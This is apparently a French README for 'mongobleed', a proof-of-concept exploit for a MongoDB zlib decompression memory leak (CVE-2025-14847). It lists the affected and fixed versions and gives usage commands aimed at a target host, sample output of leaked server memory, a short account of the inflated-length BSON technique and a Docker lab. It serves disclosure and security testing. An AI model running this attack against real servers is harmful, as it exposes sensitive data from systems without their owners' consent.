
CVE-2025-14847 - Exploit de fuite de mémoire MongoDB sans authentification
Un exploit de preuve de concept de la vulnérabilité de décompression zlib de MongoDB qui permet à des attaquants sans authentification de divulguer la mémoire sensible du serveur.
Un défaut dans la décompression des messages zlib de MongoDB renvoie la taille du tampon alloué au lieu de la longueur réelle des données décompressées. Cela permet aux attaquants de lire de la mémoire non initialisée en :
uncompressedSize gonflée| Version | Affectée | Corrigée |
|---|---|---|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 |
# Basic scan (offsets 20-8192)
python3 mongobleed.py --host <target>
# Deep scan for more data
python3 mongobleed.py --host <target> --max-offset 50000
# Custom range
python3 mongobleed.py --host <target> --min-offset 100 --max-offset 20000
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: localhost:27017
[*] Scanning offsets 20-50000
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: Recv SyncookiesFailed EmbryonicRsts ...
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[*] Saved to: leaked.bin
Un fichier Docker Compose est inclus pour démarrer une instance MongoDB vulnérable :
docker-compose up -d
python3 mongobleed.py
L'exploit fabrique des documents BSON avec des champs de longueur gonflés. Lorsque le serveur analyse ces documents, il lit les noms de champs depuis la mémoire non initialisée jusqu'à ce qu'il rencontre un octet nul. Chaque sonde à un décalage différent peut fuiter différentes régions mémoire.
Les données fuitées peuvent inclure :
/proc (meminfo, statistiques réseau)Joe Desimone - x.com/dez_
Cet outil est réservé aux tests de sécurité autorisés uniquement. L'accès non autorisé aux systèmes informatiques est illégal.
| Option | Défaut | Description |
|---|
--host | localhost | Hôte MongoDB cible |
--port | 27017 | Port MongoDB cible |
--min-offset | 20 | Longueur minimale de document à sonder |
--max-offset | 8192 | Longueur maximale de document à sonder |
--output | leaked.bin | Fichier de sortie pour les données fuitées |